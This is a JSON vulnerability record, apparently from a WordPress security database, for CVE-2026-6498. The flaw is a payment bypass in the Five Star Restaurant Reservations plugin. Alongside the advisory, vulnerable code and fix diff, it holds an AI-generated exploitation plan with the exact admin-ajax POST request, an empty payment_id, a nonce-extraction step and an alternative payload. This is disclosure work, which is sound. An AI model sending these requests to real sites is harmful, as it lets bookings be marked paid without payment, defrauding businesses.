[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0P-MlgGIYSjSesWGhQnTlw7JZMI9Zw29Y1r7wZnNNps":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-6498","five-star-restaurant-reservations-unauthenticated-payment-bypass-via-php-type-juggling-in-paymentid-parameter","Five Star Restaurant Reservations \u003C= 2.7.16 - Unauthenticated Payment Bypass via PHP Type Juggling in 'payment_id' Parameter","The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass via PHP type juggling in versions up to, and including, 2.7.16 This is due to the valid_payment() function using a PHP loose comparison (==) between the attacker-controlled payment_id POST parameter and the booking's stripe_payment_intent_id property. When an unauthenticated attacker submits a request to the nopriv AJAX handler rtb_stripe_pmt_succeed before the Stripe payment intent has been created for a booking (i.e., before the JavaScript-triggered create_stripe_pmtIntnt() call has stored an intent ID in post meta), the stripe_payment_intent_id property on the booking object remains null. The comparison sanitize_text_field('') == null evaluates to TRUE in PHP loose comparison, causing the payment verification check to pass with zero actual payment. This makes it possible for unauthenticated attackers to mark any existing payment_pending booking as paid without completing a Stripe payment by submitting an empty payment_id parameter.","restaurant-reservations",null,"\u003C=2.7.16","2.7.17","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Insufficient Verification of Data Authenticity","2026-04-29 20:28:51","2026-04-30 09:29:18",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8ee08aac-7bcc-4809-a5aa-7b95ed736f19?source=api-prod",1,[22,23,24,25,26],"includes\u002FMailChimp.class.php","includes\u002FMailChimpRequest.class.php","includes\u002FPaymentGatewayStripe.class.php","readme.txt","restaurant-reservations.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-6498\n\n## 1. Vulnerability Summary\nThe **Five Star Restaurant Reservations** plugin (\u003C= 2.7.16) contains a payment bypass vulnerability in its Stripe integration. The vulnerability exists in the logic that handles successful payment callbacks from Stripe's Strong Customer Authentication (SCA) flow.\n\nSpecifically, the plugin uses a PHP loose comparison (`==`) to verify if a provided `payment_id` matches the `stripe_payment_intent_id` stored for a booking. When a booking is first created but before the client-side JavaScript has called Stripe to create a Payment Intent, the `stripe_payment_intent_id` property in the booking's metadata is `null` (or an empty string). Because `sanitize_text_field('') == null` evaluates to `true` in PHP, an attacker can submit an empty `payment_id` to the `rtb_stripe_pmt_succeed` AJAX handler to mark a booking as \"Paid\" without actually performing a transaction.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `rtb_stripe_pmt_succeed` (accessible via `wp_ajax_nopriv_rtb_stripe_pmt_succeed`)\n- **Vulnerable Parameter:** `payment_id` (POST)\n- **Required Parameters:** `booking_id`, `nonce`\n- **Authentication:** Unauthenticated\n- **Preconditions:**\n    1. Stripe payments must be enabled in the plugin settings.\n    2. A booking must exist with a status that allows payment (typically `payment_pending`).\n    3. The booking must not yet have a `stripe_payment_intent_id` assigned (the window between booking creation and JavaScript payment initiation).\n\n## 3. Code Flow\n1. **Entry Point:** `includes\u002FPaymentGatewayStripe.class.php` registers the AJAX handler:\n   ```php\n   add_action( 'wp_ajax_nopriv_rtb_stripe_pmt_succeed', array( $this, 'stripe_sca_succeed' ) );\n   ```\n2. **Handler Execution:** The `stripe_sca_succeed()` function (within `rtbPaymentGatewayStripe`) is triggered.\n3. **Data Loading:** The function retrieves `booking_id` and `payment_id` from `$_POST`.\n4. **Validation Sink:** The code performs a check similar to:\n   ```php\n   \u002F\u002F Conceptual representation of the vulnerable check\n   if ( sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id ) {\n       $booking->mark_as_paid();\n   }\n   ```\n5. **Type Juggling:** If `$_POST['payment_id']` is sent as an empty string and the booking's `stripe_payment_intent_id` has not been set yet (remaining `null` in the database\u002Fobject), the loose comparison `\"\" == null` returns `true`.\n\n## 4. Nonce Acquisition Strategy\nThe `rtb_stripe_pmt_succeed` action requires a nonce named `rtb-stripe-payment`. This nonce is localized when the payment form is rendered.\n\n1. **Identify Trigger:** The nonce is created in `includes\u002FPaymentGatewayStripe.class.php` inside the `print_payment_form()` method:\n   ```php\n   wp_localize_script(\n     'rtb-stripe-payment',\n     'rtb_stripe_payment',\n     array(\n       'nonce' => wp_create_nonce( 'rtb-stripe-payment' ),\n       \u002F\u002F ...\n     )\n   );\n   ```\n2. **Strategy:**\n   - Create a page with the `[booking-form]` shortcode.\n   - Submit a booking via the form to reach the \"Payment\" step.\n   - The plugin will render the payment form (which contains the Stripe JS and localized data).\n   - Use `browser_eval` to extract the nonce.\n3. **JS Path:** `window.rtb_stripe_payment?.nonce`\n\n## 5. Test Data Setup\n1. **Enable Stripe:** Use WP-CLI to configure the plugin to use Stripe and require a deposit.\n   ```bash\n   wp option patch update rtb-settings rtb-stripe-sca 1\n   wp option patch update rtb-settings rtb-stripe-mode test\n   wp option patch update rtb-settings rtb-payment-deposit-type fixed\n   wp option patch update rtb-settings rtb-payment-deposit-amount 10\n   ```\n2. **Create Booking Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Book Now\" --post_status=publish --post_content='[booking-form]'\n   ```\n3. **Generate a Booking:** Use the `http_request` tool to submit a booking. Capture the `booking_id` from the response (it is often appended to the URL or returned in the response body after a successful reservation).\n\n## 6. Exploitation Strategy\n### Step 1: Create the Booking\nPerform a POST request to the page containing the `[booking-form]` to create a reservation.\n- **URL:** Site URL + `\u002Fbook-now\u002F` (or wherever the shortcode is)\n- **Payload:** Standard booking fields (name, email, date, time, party size).\n- **Goal:** Obtain the `booking_id` of the new `payment_pending` booking.\n\n### Step 2: Extract the Nonce\nNavigate to the payment page for that booking.\n- **URL:** Usually the same page or a redirect with `?booking_id=[ID]` and `?step=payment`.\n- **Tool:** `browser_navigate` followed by `browser_eval(\"rtb_stripe_payment.nonce\")`.\n\n### Step 3: Trigger the Bypass\nSubmit the malicious AJAX request with an empty `payment_id`.\n- **Method:** POST\n- **URL:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```\n  action=rtb_stripe_pmt_succeed&booking_id=[BOOKING_ID]&payment_id=&nonce=[NONCE]\n  ```\n\n## 7. Expected Results\n- The AJAX response should indicate success (likely `{\"success\":true}`).\n- The booking status in the database should change from `payment_pending` to `confirmed` or `paid` (depending on plugin settings).\n\n## 8. Verification Steps\nAfter the exploit attempt, verify the booking state using WP-CLI:\n```bash\n# Check the post meta for the booking\nwp post meta list [BOOKING_ID]\n```\nSpecifically, look for:\n1. `payment_status` metadata: Should be `paid` or `confirmed`.\n2. `stripe_payment_intent_id`: Should still be empty\u002Fnull, proving bypass.\n3. Check the status via the plugin's query class:\n```bash\nwp eval 'global $rtb_controller; $booking = new rtbBooking( [BOOKING_ID] ); echo \"Status: \" . $booking->format_status();'\n```\n\n## 9. Alternative Approaches\nIf `payment_id` cannot be empty, try passing a boolean `false` or `0` via a JSON request (if the handler accepts `application\u002Fjson`) to exploit broader PHP type juggling:\n- **Payload:** `{\"action\": \"rtb_stripe_pmt_succeed\", \"booking_id\": [ID], \"payment_id\": 0, \"nonce\": \"[NONCE]\"}`\n- **Note:** WordPress typically populates `$_POST` from the body, so `payment_id=0` as a string might behave differently than a literal integer. However, the empty string `payment_id=` is the most reliable for `\"\" == null`.","The Five Star Restaurant Reservations plugin for WordPress is vulnerable to a payment bypass because it uses a PHP loose comparison (==) to verify payment intent IDs. An unauthenticated attacker can exploit this by submitting an empty payment_id for a booking that hasn't yet had a Stripe intent ID stored, causing the check to evaluate as true and mark the booking as paid.","\u002F\u002F includes\u002FPaymentGatewayStripe.class.php line 456\n  public function valid_payment( $booking ) {\n\n    return sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id;\n  }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestaurant-reservations\u002F2.7.16\u002Fincludes\u002FPaymentGatewayStripe.class.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestaurant-reservations\u002F2.7.17\u002Fincludes\u002FPaymentGatewayStripe.class.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestaurant-reservations\u002F2.7.16\u002Fincludes\u002FPaymentGatewayStripe.class.php\t2026-04-15 19:23:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestaurant-reservations\u002F2.7.17\u002Fincludes\u002FPaymentGatewayStripe.class.php\t2026-04-29 19:23:10.000000000 +0000\n@@ -455,7 +455,7 @@\n    *\u002F\n   public function valid_payment( $booking ) {\n \n-    return sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id;\n+    return ! empty( $booking->stripe_payment_intent_id ) && sanitize_text_field( $_POST['payment_id'] ) === $booking->stripe_payment_intent_id;\n   }","1. Identify a WordPress site using Five Star Restaurant Reservations with Stripe payments enabled.\n2. Submit a reservation via the booking form to create a new booking with the status 'payment_pending'.\n3. Capture the 'booking_id' and the 'rtb-stripe-payment' nonce (found in the localized JavaScript object 'rtb_stripe_payment' on the payment step page).\n4. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action 'rtb_stripe_pmt_succeed'.\n5. Include the valid booking_id and nonce, but leave the 'payment_id' parameter empty.\n6. Because the booking was just created and does not yet have a 'stripe_payment_intent_id' assigned in the database (it is null), the loose comparison '\"\" == null' returns true, bypassing the payment check and confirming the booking.","gemini-3-flash-preview","2026-05-04 17:46:42","2026-05-04 17:47:07",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","2.7.16","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestaurant-reservations\u002Ftags\u002F2.7.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestaurant-reservations.2.7.16.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestaurant-reservations\u002Ftags\u002F2.7.17","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestaurant-reservations.2.7.17.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestaurant-reservations\u002Ftags"]